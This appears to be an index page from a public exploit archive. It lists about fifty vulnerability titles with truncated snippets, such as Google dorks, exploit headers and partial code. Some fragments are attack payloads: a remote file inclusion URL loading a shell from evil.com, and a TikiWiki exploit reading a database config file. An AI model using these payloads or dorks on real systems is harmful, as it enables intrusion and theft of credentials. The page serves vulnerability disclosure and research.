Cisco TelePresence SOS-11-010 - Multiple Vulnerabilities

Cisco TelePresence SOS-11-010 - Multiple Vulnerabilities Sense of Security - Security Advisory - SOS-11-010 Release Date. 19-Sep-2011 Last Update. - Vendor Notification Date. 21-Feb-2011 Product. Cisco TelePresence Series Platform. Cisco Affected versions. C = TC4.1.2, MXP = F9.1 Severity Rating...

Hampshire Trading Standards Script - SQL Injection

Hampshire Trading Standards Script - SQL Injection Title: Hampshire Trading Standards Script SQL Injection Vulnerability Version: 1.0 Author: Mr.P3rfekT Software Link:N/A Tested on Lunix CVE : N/A Founded By Mr.P3rfekT Dork : " inurl:tradeCategory.php?id= " Helllo Allz. Exploit :...

Apple Mac OSX - mount_smbfs Local Stack Buffer Overflow

Apple Mac OSX - mountsmbfs Local Stack Buffer Overflow / Copyright C 2007-2008 Subreption LLC. All rights reserved. Visit http://blog.subreption.com for exploit development notes. References: CVE-2007-3876 http://docs.info.apple.com/article.html?artnum=307179...

3Com TFTP Service (3CTftpSvc) 2.0.1 - Remote Buffer Overflow (Metasploit)

3Com TFTP Service 3CTftpSvc 2.0.1 - Remote Buffer Overflow Metasploit package Msf::Exploit::3comtftplongmode; use strict; use base "Msf::Exploit"; use Pex::Text; use IO::Socket; my $advanced = ; my $info = 'Name' = 'TFTP Server 3CTftpSvc Buffer Overflow Vulnerability', 'Version' = '$ 1.0 $',...

FlashChat 4.5.7 - aedating4CMS.php Remote File Inclusion

FlashChat 4.5.7 - aedating4CMS.php Remote File Inclusion NeXtMaN Here are 3 RFI vulnerabilities in Flashchat i've found: Code: http://site.com/scriptpath/inc/cmses/aedating4CMS.php?dirinc=http://evil.com/shell.txt?...

DUware DUpaypal 3.03.1 - sub.asp?iSub SQL Injection

DUware DUpaypal 3.03.1 - sub.asp?iSub SQL Injection source: https://www.securityfocus.com/bid/14034/info DUpaypal Pro is prone to multiple SQL-injection vulnerabilities because the fails application to properly sanitize user-supplied input before using it in SQL queries. A successful exploit coul...

Wing FTP Server 6.2.5 - Privilege Escalation

Wing FTP Server 6.2.5 - Privilege Escalation Exploit Title: Wing FTP Server 6.2.5 - Privilege Escalation Google Dork: intitle:"Wing FTP Server - Web" Date: 2020-03-03 Exploit Author: Cary Hooper Vendor Homepage: https://www.wftpserver.com Software Link:...

Centreon 19.10.5 - Remote Command Execution

Centreon 19.10.5 - Remote Command Execution Exploit Title: Centreon 19.10.5 - Remote Command Execution Date: 2020-01-27 Exploit Author: Fabien AUNAY, Omri BASO Vendor Homepage: https://www.centreon.com/ Software Link: https://github.com/centreon/centreon Version: 19.10.5 Tested on: CentOS 7 CVE :...

Hospital Management System 4.0 - searchdata SQL Injection

Hospital Management System 4.0 - searchdata SQL Injection Exploit Title: Hospital Management System 4.0 - 'searchdata' SQL Injection Google Dork: N/A Date: 2020-01-02 Exploit Author: FULLSHADE Vendor Homepage: https://phpgurukul.com/ Software Link:...

Mersive Solstice 2.8.0 - Remote Code Execution

Mersive Solstice 2.8.0 - Remote Code Execution Exploit Title: Mersive Solstice 2.8.0 - Remote Code Execution Google Dork: N/A Date: 2016-12-23 Exploit Author: Alexandre Teyar Vendor Homepage: https://www2.mersive.com/ Firmware Link:...

Technicolor TC7300.B0 - hostname Persistent Cross-Site Scripting

Technicolor TC7300.B0 - hostname Persistent Cross-Site Scripting Exploit Title: Technicolor TC7300.B0 - 'hostname' Persistent Cross-Site Scripting Google Dork: N/A Date: 2019-11-11 Exploit Author: Luis Stefan Vendor Homepage: https://www.technicolor.com/ Software Link: N/A Version: TC7300.B0 -...

FlexAir Access Control 2.4.9api3 - Remote Code Execution

FlexAir Access Control 2.4.9api3 - Remote Code Execution Exploit Title: FlexAir Access Control 2.4.9api3 - Remote Code Execution Google Dork: NA Date: 2019-11-11 Exploit Author: LiquidWorm Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/ Software Link:...

ChaosPro 2.0 - Buffer Overflow (SEH)

ChaosPro 2.0 - Buffer Overflow SEH Exploit Title: ChaosPro 2.0 - Buffer Overflow SEH Date: 2019-10-27 Exploit Author: Chase Hatch SYANiDE Vendor Homepage: http://www.chaospro.de/ Software link: http://www.chaospro.de/cpro20.zip Version: 2.0 Tested on: Windows XP Pro OEM !/usr/bin/env python2 impo...

Asus Precision TouchPad 11.0.0.25 - Denial of Service

Asus Precision TouchPad 11.0.0.25 - Denial of Service !/usr/bin/python Exploit Title: Asus Precision TouchPad 11.0.0.25 - DoS/Privesc Date: 29-08-2019 Exploit Author: Athanasios Tserpelis of Telspace Systems Vendor Homepage: https://www.asus.com Version: 11.0.0.25 Software Link :...

Ultimate Loan Manager 2.0 - Cross-Site Scripting

Ultimate Loan Manager 2.0 - Cross-Site Scripting Exploit Title:Web Studio Ultimate Loan Manager V2.0 - Persistent Cross Site Scripting Exploit Author: Metin Yunus Kandemir kandemir Vendor Homepage: http://www.webstudio.co.zw/ Software Link: https://codecanyon.net/item/ultimate-loan-manager/198918...

fuelCMS 1.4.1 - Remote Code Execution

fuelCMS 1.4.1 - Remote Code Execution Exploit Title: fuelCMS 1.4.1 - Remote Code Execution Date: 2019-07-19 Exploit Author: 0xd0ff9 Vendor Homepage: https://www.getfuelcms.com/ Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1 Version: = 0 and n 1: start =...

DameWare Remote Support 12.0.0.509 - Host Buffer Overflow (SEH)

DameWare Remote Support 12.0.0.509 - Host Buffer Overflow SEH !/usr/bin/env python Author: Xavi Beltran Date: 11/07/2019 Description: SEH based Buffer Overflow DameWare Remote Support V. 12.0.0.509 CVE-2018-12897 Contact: [email protected] Webpage: https://xavibel.com Tested on: Windows ...

Zoho ManageEngine ServiceDesk Plus 9.3 - Cross-Site Scripting

Zoho ManageEngine ServiceDesk Plus 9.3 - Cross-Site Scripting Exploit Title: Zoho ManageEngine ServiceDesk Plus 9.3 Cross-Site Scripting Date: 2019-05-21 Exploit Author: Enter of VinCSS Vingroup Vendor Homepage: https://www.manageengine.com/products/service-desk Version: Zoho ManageEngine...

Microsoft Windows MSHTML Engine - Edit Remote Code Execution

Microsoft Windows MSHTML Engine - Edit Remote Code Execution Exploit Title: Microsoft Windows CVE-2019-0541 MSHTML Engine "Edit" Remote Code Execution Vulnerability Google Dork: N/A Date: March, 13 2019 Exploit Author: Eduardo Braun Prado Vendor Homepage: http://www.microsoft.com/ Software Link:...

Core FTP Server FTP SFTP Server v2 Build 674 - MDTM Directory Traversal

Core FTP Server FTP SFTP Server v2 Build 674 - MDTM Directory Traversal Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674 MDTM Directory Traversal Google Dork: N/A Date: 3/13/2019 Exploit Author: Kevin Randall Vendor Homepage: https://www.coreftp.com Software Link:...

XAMPP 5.6.8 - SQL Injection Persistent Cross-Site Scripting

XAMPP 5.6.8 - SQL Injection Persistent Cross-Site Scripting !-- Exploit Title: Cross Site Scripting in XAMPP 5.6.8 and previous Date: 17-02-2019 Exploit Author: Rafael Pedrero Vendor Homepage: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/ Software Link:...

MMonit 3.7.2 - Privilege Escalation

MMonit 3.7.2 - Privilege Escalation !/usr/env/python3 """ Vulnerability title: M/Monit = 3.7.2 - Privilege Escalation Author: Dolev Farhi Vulnerable version: 2.0.151021 Link: https://mmonit.com Date: 2/17/2019 """ import sys import requests MMONITURL = 'http://ip.add.re.ss:8080' MMONITUSER =...

SDL Web Content Manager 8.5.0 - XML External Entity Injection

SDL Web Content Manager 8.5.0 - XML External Entity Injection Author Information Author : Ahmed Elhady Mohamed twitter : @AhmedELhady Company : Canon Security Date : 25/11/2018 Software Information Affected Software : SDL Web Content Manager Version: Build 8.5.0 Vendor: SDL Tridion Software websi...

PrestaShop 1.6.x1.7.x - Remote Code Execution

PrestaShop 1.6.x1.7.x - Remote Code Execution ?php / PrestaShop 1.6.x = 1.6.1.23 & 1.7.x = 1.7.4.4 - Back Office Remote Code Execution See https://github.com/farisv/PrestaShop-CVE-2018-19126 for explanation. Chaining multiple vulnerabilities to trigger deserialization via phar. Date: December 1st...

D-Link Routers - Command Injection

D-Link Routers - Command Injection Shell command injection CVE: CVE-2018-10823 CVSS v3: 9.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H Description: An issue was discovered on D-Link routers: DWR-116 through 1.06, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02,...

Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router)

Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery Reboot Router Exploit Title: Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery Reboot Router Date: 2018-07-21 Exploit Author: Nathu Nandwani Website: http://nandtech.co CVE: CVE-2015-5996 Description: The router is...

10-Strike Network Inventory Explorer 8.54 - Registration Key Buffer Overflow (SEH)

10-Strike Network Inventory Explorer 8.54 - Registration Key Buffer Overflow SEH...

ModbusPal 1.6b - XML External Entity Injection

ModbusPal 1.6b - XML External Entity Injection + Exploit Title: ModbusPal XXE Injection + Date: 05-08-2018 + Exploit Author: Trent Gordon + Vendor Homepage: http://modbuspal.sourceforge.net/ + Software Link: https://sourceforge.net/projects/modbuspal/files/latest/download?source=files + Version:...

Trend Micro Email Encryption Gateway 5.5 (Build 1111.00) - Multiple Vulnerabilities

Trend Micro Email Encryption Gateway 5.5 Build 1111.00 - Multiple Vulnerabilities Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Trend Micro Email Encryption Gateway Multiple Vulnerabilities 1. Advisory Information Title: Trend Micro Email Encryption Gateway Multiple...

BMC BladeLogic 8.3.00.64 - Remote Command Execution

BMC BladeLogic 8.3.00.64 - Remote Command Execution Exploit Title: BMC BladeLogic RSCD agent remote exec - XMLRPC version Filename: BMCrexec.py Github: https://github.com/bao7uo/bmcbladelogic Date: 2018-01-24 Exploit Author: Paul Taylor / Foregenix Ltd Website: http://www.foregenix.com/blog...

Oracle VirtualBox 5.1.30 5.2-rc1 - Guest to Host Escape

Oracle VirtualBox 5.1.30 5.2-rc1 - Guest to Host Escape SSD Advisory – Oracle VirtualBox Multiple Guest to Host Escape Vulnerabilities Source: https://blogs.securiteam.com/index.php/archives/3649 Vulnerabilities summary The following advisory describes two 2 guest to host escape found in Oracle...

Ubiquiti UniFi Video 3.7.3 - Local Privilege Escalation

Ubiquiti UniFi Video 3.7.3 - Local Privilege Escalation RCE Security Advisory https://www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: Ubiquiti UniFi Video Windows Vendor URL: https://www.ubnt.com Type: Improper Handling of Insufficient Permissions or Privileges CWE-28...

Avaya IP Office (IPO) 10.1 - ActiveX Buffer Overflow

Avaya IP Office IPO 10.1 - ActiveX Buffer Overflow + Credits: John Page aka hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/AVAYA-OFFICE-IP-IPO-v9.1.0-10.1-VIEWERCTRL-ACTIVE-X-BUFFER-OVERFLOW-0DAY.txt + ISR: ApparitionSec Vendor: =============...

Microsoft Windows - ManagementObject Arbitrary .NET Serialization Remote Code Execution

Microsoft Windows - ManagementObject Arbitrary .NET Serialization Remote Code Execution Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1081 Windows: ManagementObject Arbitrary .NET Serialization RCE Platform: .NET 4.6, Powershell 4. Tested between Server 2016 and Windows 10...

ImageMagick 7.0.1-0 6.9.3-9 - ImageTragick Multiple Vulnerabilities

ImageMagick 7.0.1-0 6.9.3-9 - ImageTragick Multiple Vulnerabilities Nikolay Ermishkin from the Mail.Ru Security Team discovered several vulnerabilities in ImageMagick. We've reported these issues to developers of ImageMagick and they made a fix for RCE in sources and released new version 6.9.3-9...

Kolibri WebServer 2.0 - Remote Buffer Overflow (EMET 5.0 EMET 4.1 Partial Bypass)

Kolibri WebServer 2.0 - Remote Buffer Overflow EMET 5.0 EMET 4.1 Partial Bypass !/bin/python import socket, sys, re Exploit Title: Kolibri POST Buffer overflow with EMET 5.0 and EMET 4.1 Partial Bypass Date: September 30th 2014 Author: tekwizz123 Vendor Homepage: http://www.senkas.com Software...

Ilch CMS 2.0 - Persistent Cross-Site Scripting

Ilch CMS 2.0 - Persistent Cross-Site Scripting Advisory ID: HTB23203 Product: Ilch CMS Vendor: http://ilch.de Vulnerable Versions: 2.0 and probably prior Tested Version: 2.0 Advisory Publication: February 12, 2014 without technical details Vendor Notification: February 12, 2014 Public Disclosure:...

Sophos Web Protection Appliance - Multiple Vulnerabilities

Sophos Web Protection Appliance - Multiple Vulnerabilities Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Sophos Web Protection Appliance Multiple Vulnerabilities 1. Advisory Information Title: Sophos Web Protection Appliance Multiple Vulnerabilities Advisory ID: CORE-2013-08...

IrfanView JLS Formats PlugIn - Heap Overflow

IrfanView JLS Formats PlugIn - Heap Overflow Summary ======= IrfanView Formats PlugIn is prone to an overflow condition. The JLS Plugin jpegls.dll library fails to properly sanitize user-supplied input resulting in a heap-based buffer overflow. With a specially crafted JLS compressed image file, ...

PHP 5.3.8 - Hashtables Denial of Service

PHP 5.3.8 - Hashtables Denial of Service Exploit Title: CVE-2011-4885 PHP Hashtables Denial of Service Exploit Date: 1/1/12 Author: infodox Software Link: php.net Version: 5.3. Tested on: Linux CVE : CVE-2011-4885 Exploit Download -- http://infodox.co.cc/Downloads/phpdos.txt...

Plone and Zope - Remote Command Execution

Plone and Zope - Remote Command Execution Exploit Title: Plone - Remote Command Execution Date: 12/21/2011 Author: Nick Miles www.npenetrable.com Tested on: 12/21/2011 CVE : CVE-2011-3587 Versions Affected without hotfix: Plone 4.0 through 4.0.9; Plone 4.1; Plone 4.2 a1 and a2; Zope 2.12.x and Zo...

Tandberg E EX C Series Endpoints - Default Root Account Credentials

Tandberg E EX C Series Endpoints - Default Root Account Credentials -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Cisco Security Advisory: Default Credentials for Root Account on Tandberg E, EX and C Series Endpoints Advisory ID: cisco-sa-20110202-tandberg Revision 1.0 For Public Release 2011...

PHP 5.3.3 - NumberFormatter::getSymbol Integer Overflow

PHP 5.3.3 - NumberFormatter::getSymbol Integer Overflow From: Maksymilian Arciemowicz Date: Fri, 10 Dec 2010 14:43:32 +0100 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 PHP 5.3.3 NumberFormatter::getSymbol Integer Overflow Author: Maksymilian Arciemowicz http://securityreason.com/ http://cxib.ne...

Microsoft Windows - Tracing Registry Key ACL Privilege Escalation

Microsoft Windows - Tracing Registry Key ACL Privilege Escalation source: https://www.securityfocus.com/bid/42269/info Microsoft Windows is prone to a local privilege-escalation vulnerability. An attacker can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successful...

Sun Java Web Server 7.0 u7 - Remote Overflow

Sun Java Web Server 7.0 u7 - Remote Overflow / Sun Java Web Server Exploit Tested on: Sun Java Web Server 7.0 update 7 - XP SP3 Ref: CVE-2010-0361 This vulnerability was identified by Evgeny Legerov Author: Dominic Chell Date: 23/01/2010 / include "stdafx.h" include include include include includ...

Microsoft Windows NT200020032008XPVista7 - KiTrap0D User Mode to Ring Escalation (MS10-015)

Microsoft Windows NT200020032008XPVista7 - KiTrap0D User Mode to Ring Escalation MS10-015 Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/11199.zip KiTrap0D.zip E-DB Note: Make sure to run "vdmallowed.exe" pre-compiled inside the subfolder...

Linux Kernel 2.6.202.6.242.6.27_7-10 (Ubuntu 7.048.048.10 Fedora Core 10 OpenSuse 11.1) - SCTP FWD Memory Corruption Remote Overflow

Linux Kernel 2.6.202.6.242.6.277-10 Ubuntu 7.048.048.10 Fedora Core 10 OpenSuse 11.1 - SCTP FWD Memory Corruption Remote Overflow / CVE-2009-0065 SCTP FWD Chunk Memory Corruption Linux Kernel 2.6.x SCTP FWD Memory COrruption Remote Exploit coded by: sgrakkyu antifork.org...

TikiWiki 1.9.8 - tiki-graph_formula.php Command Execution

TikiWiki 1.9.8 - tiki-graphformula.php Command Execution !/usr/bin/perl TikiWiki $Id: milw0rmtikiwiki.pl,v 0.1 2007/10/12 13:25:08 str0ke Exp $ use strict; use LWP::UserAgent; my $target = shift || &usage; my $proxy = shift; my $command; &exploit$target, "cat db/local.php", $proxy; print "? php...

Comersus Cart 7.0.7 - comersus_optReviewReadExec.asp?id SQL Injection

Comersus Cart 7.0.7 - comersusoptReviewReadExec.asp?id SQL Injection source: https://www.securityfocus.com/bid/24562/info Comersus Cart is affected by multiple input validation vulnerabilities. A successful exploit could allow an attacker to compromise the application, access or modify data, or...

Microsoft Windows - Animated Cursor .ani Local Stack Overflow

Microsoft Windows - Animated Cursor .ani Local Stack Overflow / Copyright c 2007 devcode ^^ D E V C O D E ^^ Windows .ANI LoadAniIcon Stack Overflow CVE-2007-1765 Description: A vulnerability has been identified in Microsoft Windows, which could be exploited by remote attackers to take complete...